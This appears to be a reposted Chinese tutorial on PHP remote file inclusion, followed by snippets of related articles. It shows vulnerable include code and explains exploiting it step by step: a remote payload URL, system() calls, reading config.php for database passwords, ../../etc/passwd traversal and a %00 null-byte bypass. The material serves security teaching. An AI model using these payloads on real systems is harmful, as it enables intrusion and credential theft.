php远端档包含漏洞基本
这篇文章里我会告诉php远程档包含漏洞的原理,初涉程式师的人必看。
本帖隐藏的内容需要回复才可以浏览
首先的问题是,什么才是”远程档包含漏洞“?简要的回答是伺服器通过php的任意档包含过滤不严,从而去执行一个恶意档,这是个程式师过滤上的问题,请记住,所有的cgi程式都有这样的bug。
1.找出bug:
为了发现目标,我们首先要知道包含两个字的含义,在所有语言里(大多数)都有这种方法包含任意的档。在php里,我们使用include()函数,它的工作流程:
如果你在Main.php里包含include1.php,我将这样写include("include1.php").不是很科学,但你要知道其中的道理。
我们先看这个,当用户输入通过后就包含档,也就是
if ($_GET[page]) {
include $_GET[page];
} else {
include "home.php";
}
这种结构在动态网站里是常见的,问题是它允许这样http://www.target.com /explame.php?page=main.php或者http://www.target.com/explame.php? page=downloads.php来查看。无论如何,如果你的程式里有这样的bug也很悲哀了,只能怪你,尽管只是一句过滤的问题,但就是这一句过滤就有了Script hacker.在zone-h.org的调查里,档包含的攻击率占到9.4%,足够我们引起重视,而且它也不是一两天的问题,几年前就有了,但到了今天,一批一批程式师依旧走老路重走,所以就有了这篇文章,在2004年写这样的文章已经老掉牙,但我还是要写,毕竟牢骚能让人收益的时候就不叫牢骚了。
2.测试
这里有个远端档包含的例子,目的只有一个,为了你的程式安全,我们来看具体的
http://www.target.com/explame.php?page=zizzy
Warning: main(zizzy): failed to open stream: No such file or directory in /var/www/htdocs/index.php on line 3
Warning: main(): Failed opening ‘zizzy‘ for inclusion (include_path=‘.:/usr/local/lib/php‘) in /var/www/htdocs/index.php on line 3
php输出的这些错误资讯告诉我们,程式去包含档/var/www/htdocs/zizzy,但没找到,看见了吧,No such file or directory没这样的档,现在理解了吧。
3.利用
php确实很好,可以远端调用档,那我创建一个yeah.txt,放在我的站上http://www.mysite.com/yeah.txt.内容这样
<?
echo "Wow,test!";
?>
那么http://www.target.com/explame.php?pa...e.com/yeah.txt
OK,回显Wow,test!,这样就执行了。读取config.php也不难吧,里面放了mysql密码啊。把yeah.txt写成<? phpinfo; ?>看看,写成system()去试试,有什么感想,在过分点,这样提交page=../../../../.. /../../etc/passwd。知道什么叫真正的包含了吧。
4.另一种
有时程式师换种写法,写成这样,限制了包含范围
if ($_GET[page]) {
include "$_GET[page].php";
} else {
include "home.php";
}
我们提交http://www.target.com/explame.php?pa...e.com/yeah.txt
Warning: main(http://www.mysite.com/yeah.txt.php): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /var/www/htdocs/explame.php on line 3
Warning: main(): Failed opening ‘http://www.mysite.com/yeah.txt.php‘ for inclusion (include_path=‘.:/usr/local/lib/php‘) in /var/www/htdocs /explame.php on line 3
包含失败了,限制了尾码名为php,那mysite.com的yeah.txt改为yeah.php,ok,照样执行了
那passwd怎么办
Warning: main(../../../../../../../etc/passwd.php): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /var /www/htdocs/explame.php on line 3
Warning: main(): Failed opening ‘../../../../../../../etc/passwd.php‘ for inclusion (include_path=‘.:/usr/local/lib /php‘) in /var/www/htdocs/explame.php on line 3
在这里使用个NUL字元,也就是%00来跳过检测
http://www.target.com/explame.php?pa.../etc/passwd%00
php远程包含
时间: 2024-11-03 01:33:30
php远程包含的相关文章
【PHP学习】文件包含的那些事
/*学习PHP中,依然是搜索引擎加上个人实践的结果**抛砖引玉~ - 低调求发展: a; @* w) \+ |) t: p**Author 音符9 Y" Q1 V3 R0 {% d& Q I& J! {' V*/* S* g" y( i/ r0x00 包含漏洞成因 - 低调求发展- v2 \4 p: j. v7 \9 b首先需要了解include()函数与require()函数,他们会将所包含的任何格式的文件以php形式执行.两个函数功能基本相同,此外只有当所包含的
文件包含学习笔记
文件包含分为远程包含,本地包含两种,主要是include,require等函数带来的包含漏洞例如我在本机PHPstudy上创建两个文件,include.php和text.txt,内容如下 //include.php <?php $i=$_GET['t']; include($i); ?> //text.txt <?php phpinfo(); ?> 然后访问网址http://127.0.0.1/include/include.php?t=text.txt 可以看到text.txt中
文件包含漏洞
本实验是基于DVWA和sqli-labs的实验环境 实验平台搭建:下载Wamp集成环境,并下载DVWA和sqli-labs和压缩包解压至wamp\www的目录下.安装只要注意Wamp环境的数据库名和密码对应即可. 0x01:文件包含漏洞 服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的. 这也算官方的解释吧,用个人的话说,通过浏览器.url地址或者是一个参数的变量的内容,可以通过修改这些url
PHP文件包含
今天突然发现这个东西有好多奇怪的东西,特别写一下记一下 测试用的1.txt及phpinfo.php内容都是phpinfo() 截断: 好多.和好多./截断:这里不测试了,摘自代码审计一书,5.2可用,5.3修复 windows下240个'.'可截断,同样的'.'加'/'也是240个截断,linux下2038个'/.'才可截断 %00截断:%00截断在5.2版本可以使用,5.3及以后版本被修复,如果开启了GPC或者addslashes了,同样无法截断 5.2版本: 5.2版本 addslashes
代理审计之包含漏洞
BMG: 我们都知道不管什么语言都有包含头文件,包含漏洞就是利用的PHP头文件包含的漏洞,因为网络上代码的文件包含有时候是可以覆盖更改的, 倘若你能更改掉原先的路径,去包含你自己的文件不是可以有很大的空间去发挥吗?下面我详细介绍下 测试代码都很简单啊 只需要用个记事本写下 然后自己安装个PHPStudy 然后就可以在自己的网页访问了 本地包含与远程包含 一基本定义 包含产生的漏洞基本原理就是,包含某个文件名,通过对被包含文件内容的修改进行操作 这是4个包含函数,include,inclu
文件包含漏洞原理分析
文件包含这个漏洞,用我自己的话来说就是程序员在网站设计中,为方便自己在设计构架时,使用了一些包含的函数,就像'文件包含'这几个字的字面意思一样,在文件中,包含一个文件. 我在总结这篇文章的时候看了,其他人总结的,感觉别人总结的很是详细,就像一开始我只认为包含只有PHP代码中才存在,后来我再整理复习的时候,才发现,包含这个漏洞在各大语言中,都存在的,只不过现在大部分网站都是PHP网站,所以存在这个漏洞的几率大一点,好了不废话了,我开始整理了. 文件包含 程序开发人员一般会把重复使用的函数写到单个文
DVWA篇四:文件包含漏洞
1 测试环境介绍 测试环境为OWASP环境中的DVWA模块 2 测试说明 2.1 什么时远程文件包含漏洞 什么才是"远程文件包含漏洞"?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的. 涉及到的危险函数:include(),require()和include_once(),require_once() Include:包含并运行指定文件,当包含外部文件
PHP文件包含漏洞
php的函数引入文件是,由于传入的文件没有经过合理的校验,从而操作了预想之外的文件,就可以导致意外的文件泄露,甚至导致恶意代码的注入. 基本的代码: If($_GET['func']) { Include $_GET['func'] } Else { Include 'default.php' } 本意运行的是http://127.0.0.1/index.php?func=add.php,结果在后面默认运行了default.php 如果黑客运行自己上传的图片马,那么包含一句话木马,我们是不是就绕
dvwa——命令注入&;文件包含
命令注入 commond_injection 源码.分析.payload: low: <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exe